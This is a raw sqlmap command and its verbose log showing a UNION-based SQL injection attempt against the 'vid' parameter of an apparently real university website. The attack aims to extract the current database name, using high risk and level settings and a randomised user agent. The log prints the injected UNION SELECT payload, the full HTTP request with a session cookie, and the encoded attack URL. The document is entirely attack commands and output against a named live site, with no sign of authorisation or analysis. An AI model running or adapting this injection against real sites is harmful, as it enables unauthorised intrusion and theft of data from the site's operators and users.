./sqlmap.py -p vid -u 'https://www.htw-dresden.de/index.php?id=9147&vid=239' --technique='U' --union-char="100500" --union-col=20-30 --dbms=mysql -v 4 --prefix="" --suffix="--" --current-db --level 4 --risk 3 --random-agent --flush-session --threads=5

[10:52:10] [PAYLOAD] 239 UNION ALL SELECT 100500, 100500, 100500, 100500, 100500, 100500, 100500, 100500, 100500, 100500, 100500, 100500, 100500, 100500, 100500, 100500, 100500, 100500, 100500, 100500, 100500# --
[10:52:10] [TRAFFIC OUT] HTTP request [#5]:
GET /index.php?id=9147&vid=239%20UNION%20ALL%20SELECT%20100500%2C%20100500%2C%20100500%2C%20100500%2C%20100500%2C%20100500%2C%20100500%2C%20100500%2C%20100500%2C%20100500%2C%20100500%2C%20100500%2C%20100500%2C%20100500%2C%20100500%2C%20100500%2C%20100500%2C%20100500%2C%20100500%2C%20100500%2C%20100500%23%20-- HTTP/1.1
Accept-Encoding: identity
Cookie: fe_typo_user=3b6ec0176deabb1294c4e4b9940c4a45
Host: www.htw-dresden.de
Referer: https://www.htw-dresden.de:443/index.php
User-agent: Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/533.17.8 (KHTML, like Gecko) Version/5.0.1 Safari/533.17.8
Connection: close

https://www.htw-dresden.de/index.php?id=9147&vid=239%20UNION%20ALL%20SELECT%20100500%2C%20100500%2C%20100500%2C%20100500%2C%20100500%2C%20100500%2C%20100500%2C%20100500%2C%20100500%2C%20100500%2C%20100500%2C%20100500%2C%20100500%2C%20100500%2C%20100500%2C%20100500%2C%20100500%2C%20100500%2C%20100500%2C%20100500%2C%20100500%23%20--